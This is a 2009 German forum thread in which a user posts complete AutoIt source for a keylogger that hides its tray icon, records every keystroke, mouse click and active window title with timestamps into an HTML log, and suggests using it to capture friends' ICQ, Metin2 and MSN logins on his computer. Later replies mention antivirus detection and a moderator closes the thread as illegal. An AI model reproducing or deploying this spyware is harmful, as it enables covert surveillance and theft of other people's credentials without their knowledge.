Autoit Keylogger

06/11/2009 16:43 ScOrNiLiSaToR#1
Ich habe mal mit meinem Cousen versucht einen Keylogger versucht zu scripten.
Was dabei rausgekommen?, unten der quellcode. Ich habe den unkomplizierten teil gemacht er den komplizierten also fragt mich nicht wie er das hinbekommen hat *g*
Download von Autoit: [Only registered and activated users can see links. Click Here To Register...]

Code

#NoTrayIcon

Local $date = @YEAR & "-" & @MON & "-" & @MDAY
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = @UserName&"log.html"
HotKeySet( "^{F9}", "Terminate")
opt("OnExitFunc", "Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Keylogger Log Start ]#] </center></b><br>")
FileWrite($log, "<b><center>[#[ History : ]#] </center></b><br>")

FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Linke Maus Taste<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Rechte Maus Taste<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Mittlere Maus Taste<br></font></center>")
FileWrite($log, "<br>")

FileWrite($log, "<b><center>[#[ Log : ]#] </center></b><br>")


While 1
For $n = 30 To 39
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LogKeyPress('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LogKeyPress("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LogKeyPress("´")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LogKeyPress("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LogKeyPress("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("a")
Else
_LogKeyPress("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("b")
Else
_LogKeyPress("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("c")
Else
_LogKeyPress("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("d")
Else
_LogKeyPress("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("e")
Else
_LogKeyPress("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("f")
Else
_LogKeyPress("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("g")
Else
_LogKeyPress("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("h")
Else
_LogKeyPress("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("i")
Else
_LogKeyPress("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("j")
Else
_LogKeyPress("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("k")
Else
_LogKeyPress("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("l")
Else
_LogKeyPress("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("m")
Else
_LogKeyPress("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("n")
Else
_LogKeyPress("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("o")
Else
_LogKeyPress("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("p")
Else
_LogKeyPress("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("q")
Else
_LogKeyPress("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("r")
Else
_LogKeyPress("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("s")
Else
_LogKeyPress("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("t")
Else
_LogKeyPress("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("u")
Else
_LogKeyPress("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("v")
Else
_LogKeyPress("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("w")
Else
_LogKeyPress("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("x")
Else
_LogKeyPress("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("y")
Else
_LogKeyPress("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("z")
Else
_LogKeyPress("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LogKeyPress(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")

While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LogKeyPress('=')
ElseIf StringRight($n, 1) = 1 Then
_LogKeyPress('!')
ElseIf StringRight($n, 1) = 2 Then
_LogKeyPress('"')
ElseIf StringRight($n, 1) = 3 Then
_LogKeyPress('#')
ElseIf StringRight($n, 1) = 4 Then
_LogKeyPress('$')
ElseIf StringRight($n, 1) = 5 Then
_LogKeyPress('%')
ElseIf StringRight($n, 1) = 6 Then
_LogKeyPress('&')
ElseIf StringRight($n, 1) = 7 Then
_LogKeyPress('/')
ElseIf StringRight($n, 1) = 8 Then
_LogKeyPress('(')
ElseIf StringRight($n, 1) = 9 Then
_LogKeyPress(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LogKeyPress("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LogKeyPress("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LogKeyPress("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LogKeyPress("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LogKeyPress("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LogKeyPress("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LogKeyPress("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LogKeyPress("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LogKeyPress("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LogKeyPress("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LogKeyPress("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LogKeyPress("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LogKeyPress("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LogKeyPress("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LogKeyPress("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LogKeyPress("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LogKeyPress("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LogKeyPress("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LogKeyPress("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LogKeyPress("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LogKeyPress("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LogKeyPress("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LogKeyPress("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LogKeyPress("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LogKeyPress("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LogKeyPress("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc
Func _LogKeyPress($what2log)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $what2log)
Else
$window2 = $window
FileWrite($log, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"</b><br>' & $what2log)
EndIf
EndFunc
Func Terminate()
DllClose($user32)
FileClose($log)
Exit
EndFunc


Ich hoffe es klappt bei euch wenn Freunde sich bei euch am pc einloggen in icq oder metin2 msn usw.... *g*
MFG SCORNI
06/11/2009 17:00 Akorn#2
Jetzt mal davon abgesehen das der Thread warscheinlich eh bald geschlossen wird weil hier ja keine keylogger unterstützt werden.
Es gibt in windows so funktionen wie GetAsyncKeyState
und mit solchen funktionen einen keylogger zu programmieren ist warscheinlich eine weitaus bessere option als das was ihr da praktiziert habt.
06/11/2009 17:02 felixli93#3
nein, diese art eines keyloggers ist sehr präzise.
das ist soweit ich weiß das beispielscript für einen keylogger, das auf autoit.de angezeigt wird.
klappt hervorragend, wird allerdings von dem meisten virensoftwares als keylogger entdeckt
06/11/2009 17:20 Adroxxx#4
#closed die benutztung bzw einsetzung von keylogger programmen ohne das wissen des betroffenen ist illegal.